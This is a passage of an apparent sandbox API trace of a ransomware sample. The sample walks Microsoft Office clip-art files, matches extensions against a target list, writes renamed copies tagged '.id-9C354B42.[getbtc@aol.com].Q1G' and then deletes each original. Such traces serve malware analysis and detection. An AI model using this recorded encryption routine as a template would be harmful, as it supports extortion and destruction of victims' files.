Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0251.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0251.814] lstrlenW (lpString=".doc") returned 4 [0251.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.814] lstrlenW (lpString=".docx") returned 5 [0251.814] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.814] lstrlenW (lpString=".pdf") returned 4 [0251.814] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.814] lstrlenW (lpString=".xls") returned 4 [0251.814] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.814] lstrlenW (lpString=".xlsx") returned 5 [0251.814] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.814] lstrlenW (lpString=".ppt") returned 4 [0251.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0251.814] lstrlenW (lpString=".zip") returned 4 [0251.814] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.814] lstrlenW (lpString=".rar") returned 4 [0251.814] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.815] lstrlenW (lpString=".bz2") returned 4 [0251.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.815] lstrlenW (lpString=".7z") returned 3 [0251.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0251.815] lstrlenW (lpString=".dbf") returned 4 [0251.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0251.815] lstrlenW (lpString=".1cd") returned 4 [0251.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0251.815] lstrlenW (lpString=".jpg") returned 4 [0251.815] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0251.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0251.815] lstrlenW (lpString=".doc") returned 4 [0251.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.815] lstrlenW (lpString=".docx") returned 5 [0251.815] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.815] lstrlenW (lpString=".pdf") returned 4 [0251.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.815] lstrlenW (lpString=".xls") returned 4 [0251.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.815] lstrlenW (lpString=".xlsx") returned 5 [0251.815] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.815] lstrlenW (lpString=".ppt") returned 4 [0251.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0251.815] lstrlenW (lpString=".zip") returned 4 [0251.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.815] lstrlenW (lpString=".rar") returned 4 [0251.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.815] lstrlenW (lpString=".bz2") returned 4 [0251.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.815] lstrlenW (lpString=".7z") returned 3 [0251.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0251.816] lstrlenW (lpString=".dbf") returned 4 [0251.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0251.816] lstrlenW (lpString=".1cd") returned 4 [0251.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 63 [0251.816] lstrlenW (lpString=".jpg") returned 4 [0251.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.816] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.816] lstrlenW (lpString="HH00601_.WMF") returned 12 [0251.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0251.816] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1468) returned 1 [0251.816] CloseHandle (hObject=0x1f8) returned 1 [0251.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x20 [0251.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0251.817] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.817] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0251.817] GetLastError () returned 0x0 [0251.817] ReadFile (in: hFile=0x1f8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x5bc, lpOverlapped=0x0) returned 1 [0251.831] WriteFile (in: hFile=0x1fc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0251.832] ReadFile (in: hFile=0x1f8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.832] WriteFile (in: hFile=0x1fc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.832] SetEndOfFile (hFile=0x1fc) returned 1 [0251.832] CloseHandle (hObject=0x1fc) returned 1 [0251.832] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.832] SetEndOfFile (hFile=0x1f8) returned 1 [0251.834] CloseHandle (hObject=0x1f8) returned 1 [0251.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf")) returned 1 [0251.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0251.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0251.835] lstrlenW (lpString=".doc") returned 4 [0251.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.835] lstrlenW (lpString=".docx") returned 5 [0251.835] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.835] lstrlenW (lpString=".pdf") returned 4 [0251.835] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.835] lstrlenW (lpString=".xls") returned 4 [0251.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.835] lstrlenW (lpString=".xlsx") returned 5 [0251.835] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.835] lstrlenW (lpString=".ppt") returned 4 [0251.835] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0251.835] lstrlenW (lpString=".zip") returned 4 [0251.835] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.835] lstrlenW (lpString=".rar") returned 4 [0251.835] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.835] lstrlenW (lpString=".bz2") returned 4 [0251.835] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.836] lstrlenW (lpString=".7z") returned 3 [0251.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0251.836] lstrlenW (lpString=".dbf") returned 4 [0251.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0251.836] lstrlenW (lpString=".1cd") returned 4 [0251.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0251.836] lstrlenW (lpString=".jpg") returned 4 [0251.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0251.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0251.836] lstrlenW (lpString=".doc") returned 4 [0251.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.836] lstrlenW (lpString=".docx") returned 5 [0251.836] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.836] lstrlenW (lpString=".pdf") returned 4 [0251.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.836] lstrlenW (lpString=".xls") returned 4 [0251.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.836] lstrlenW (lpString=".xlsx") returned 5 [0251.836] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.836] lstrlenW (lpString=".ppt") returned 4 [0251.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0251.836] lstrlenW (lpString=".zip") returned 4 [0251.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.836] lstrlenW (lpString=".rar") returned 4 [0251.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.836] lstrlenW (lpString=".bz2") returned 4 [0251.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.837] lstrlenW (lpString=".7z") returned 3 [0251.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0251.837] lstrlenW (lpString=".dbf") returned 4 [0251.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0251.837] lstrlenW (lpString=".1cd") returned 4 [0251.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0251.837] lstrlenW (lpString=".jpg") returned 4 [0251.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.837] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.837] lstrlenW (lpString="HH00623_.WMF") returned 12 [0251.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0251.841] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=10644) returned 1 [0251.841] CloseHandle (hObject=0x390) returned 1 [0251.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x20 [0251.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0251.842] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.842] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.843] GetLastError () returned 0x0 [0251.843] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x2994, lpOverlapped=0x0) returned 1 [0251.844] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x29a0, lpOverlapped=0x0) returned 1 [0251.845] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.845] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.846] SetEndOfFile (hFile=0x324) returned 1 [0251.846] CloseHandle (hObject=0x324) returned 1 [0251.846] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.846] SetEndOfFile (hFile=0x390) returned 1 [0251.848] CloseHandle (hObject=0x390) returned 1 [0251.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.848] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf")) returned 1 [0251.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0251.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0251.849] lstrlenW (lpString=".doc") returned 4 [0251.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.849] lstrlenW (lpString=".docx") returned 5 [0251.849] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.849] lstrlenW (lpString=".pdf") returned 4 [0251.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.849] lstrlenW (lpString=".xls") returned 4 [0251.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.849] lstrlenW (lpString=".xlsx") returned 5 [0251.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.849] lstrlenW (lpString=".ppt") returned 4 [0251.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0251.849] lstrlenW (lpString=".zip") returned 4 [0251.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.849] lstrlenW (lpString=".rar") returned 4 [0251.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.849] lstrlenW (lpString=".bz2") returned 4 [0251.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.849] lstrlenW (lpString=".7z") returned 3 [0251.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0251.849] lstrlenW (lpString=".dbf") returned 4 [0251.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0251.849] lstrlenW (lpString=".1cd") returned 4 [0251.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0251.849] lstrlenW (lpString=".jpg") returned 4 [0251.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0251.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0251.849] lstrlenW (lpString=".doc") returned 4 [0251.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.850] lstrlenW (lpString=".docx") returned 5 [0251.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.850] lstrlenW (lpString=".pdf") returned 4 [0251.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.850] lstrlenW (lpString=".xls") returned 4 [0251.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.850] lstrlenW (lpString=".xlsx") returned 5 [0251.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.850] lstrlenW (lpString=".ppt") returned 4 [0251.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0251.850] lstrlenW (lpString=".zip") returned 4 [0251.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.850] lstrlenW (lpString=".rar") returned 4 [0251.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.850] lstrlenW (lpString=".bz2") returned 4 [0251.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.850] lstrlenW (lpString=".7z") returned 3 [0251.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0251.850] lstrlenW (lpString=".dbf") returned 4 [0251.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0251.850] lstrlenW (lpString=".1cd") returned 4 [0251.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0251.850] lstrlenW (lpString=".jpg") returned 4 [0251.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.850] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.850] lstrlenW (lpString="HH00625_.WMF") returned 12 [0251.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0251.851] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2116) returned 1 [0251.851] CloseHandle (hObject=0x390) returned 1 [0251.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x20 [0251.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0251.852] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.852] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.853] GetLastError () returned 0x0 [0251.853] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x844, lpOverlapped=0x0) returned 1 [0251.857] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x850, lpOverlapped=0x0) returned 1 [0251.858] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.858] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.858] SetEndOfFile (hFile=0x324) returned 1 [0251.858] CloseHandle (hObject=0x324) returned 1 [0251.858] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.858] SetEndOfFile (hFile=0x390) returned 1 [0251.860] CloseHandle (hObject=0x390) returned 1 [0251.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.860] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf")) returned 1 [0251.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0251.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0251.861] lstrlenW (lpString=".doc") returned 4 [0251.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.861] lstrlenW (lpString=".docx") returned 5 [0251.862] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.862] lstrlenW (lpString=".pdf") returned 4 [0251.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.862] lstrlenW (lpString=".xls") returned 4 [0251.862] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.862] lstrlenW (lpString=".xlsx") returned 5 [0251.862] 